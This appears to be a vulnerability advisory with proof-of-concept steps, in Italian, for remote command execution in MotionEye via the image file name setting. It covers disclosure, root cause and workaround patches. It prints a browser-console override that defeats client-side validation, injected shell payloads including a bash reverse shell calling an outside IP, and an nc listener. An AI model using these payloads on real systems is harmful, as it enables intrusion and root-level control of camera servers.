prabhatverma47/motioneye-rce-through-config-parameterPassaggi PoC per questa vulnerabilità
Durante i test di sicurezza su un'istanza di MotionEye in esecuzione in Docker, è stato osservato che la validazione lato client nell'interfaccia web può essere aggirata. Ciò consente l'invio di input arbitrari, inclusi payload che possono innescare l'esecuzione di comandi sul container host. Il problema rappresenta un rischio di esecuzione remota di codice (RCE) se sfruttato.
Versioni interessate: Tutte le versioni fino alla 0.43.1b4 inclusa
Stato della patch: Nessuna patch ancora disponibile. In questo avviso viene fornita una soluzione alternativa.
Riferimento del progetto: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10
ghcr.io/motioneye-project/motioneye:edge9999 mappata sulla porta 8765 del containeradmin / password vuota (predefinita)Eseguire il seguente comando per avviare il download dell'immagine Docker e avviare il container
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker logs motioneye | grep "motionEye server"
Risultato: Server MotionEye 0.43.1b4
Una volta avviato il container Docker, è possibile accedere alla shell del container utilizzando i seguenti comandi
docker exec -it motioneye /bin/bash
ls -la /tmp
Accedere all'interfaccia web all'indirizzo:
http://127.0.0.1:9999
Login: admin (password vuota)
È stata aggiunta una telecamera di rete RTSP di esempio.
Nel campo "Immagini fisse" > "Nome file immagine" è stato inserito un comando di esecuzione dannosa, ma è stato riscontrato un errore di validazione lato client.
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
Bloccato dalla validazione lato client.
Il seguente script è responsabile della validazione: /static/js/main.js?v=0.43.1b4, che fa riferimento a /static/js/ui.js?v=0.43.1b4 per implementare le condizioni di validazione.
File: /static/js/main.js?v=0.43.1b4 che fa riferimento a /static/js/ui.js?v=0.43.1b4
function configUiValid() {
$('div.settings').find('.validator').each(function () { this.validate(); });
var valid = true;
$('div.settings input, select').each(function () {
if (this.invalid) { valid = false; return false; }
});
return valid;
}
Sovrascrivendo la funzione configUiValid nella console del browser, tutti i controlli di validazione possono essere aggirati: inserire il seguente snippet nella console del browser (F12 o Ctrl+Shift+I)
configUiValid = function() {
return true;
};
Ora è possibile inserire direttamente il payload senza alcuna validazione: impostare come segue e applicare le impostazioni
Impostazioni:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
Applicato → File creato con permessi di root.
Produzione di una semplice reverse shell:
Ascoltatore:
nc -lvnp 4444
Payload iniettato:
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
Risultato: ottenuta una shell remota.
MotionEye è vulnerabile perché prende l'input dell'utente dal pannello web e lo scrive direttamente nei file di configurazione di Motion senza controllare la presenza di caratteri pericolosi. Ad esempio, il campo image_file_name nell'interfaccia viene inviato al backend (config.py) e salvato in /etc/motioneye/camera-.conf. Quando MotionEye riavvia il servizio Motion (motionctl.start), il processo Motion legge questo file di configurazione. Se il campo picture_filename contiene sintassi di shell come $(touch /tmp/test), Motion lo eseguirà come un vero comando invece di trattarlo come parte del nome file.
Input non sanitizzato scritto nei file di configurazione di Motion:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion interpreta picture_filename → esegue il payload
File: /usr/local/lib/python3.13/dist-packages/motioneye/config.py
def sanitize_filename(value):
# consentire solo lettere, numeri, %, _, -, /, .
for ch in value:
if not (ch.isalnum() or ch in "%-_/."):
return "%Y-%m-%d/%H-%M-%S" # fallback sicuro
return value
Applicare la sanitizzazione:
data['picture_filename'] = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
prima:
dopo:
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
Originale:
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
Sostituire con:
import re
on_event_start = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
docker restart motioneye
All'interno di motion_camera_ui_to_dict(...):
Originale:
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']
Sostituire con:
from re import sub
data['picture_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')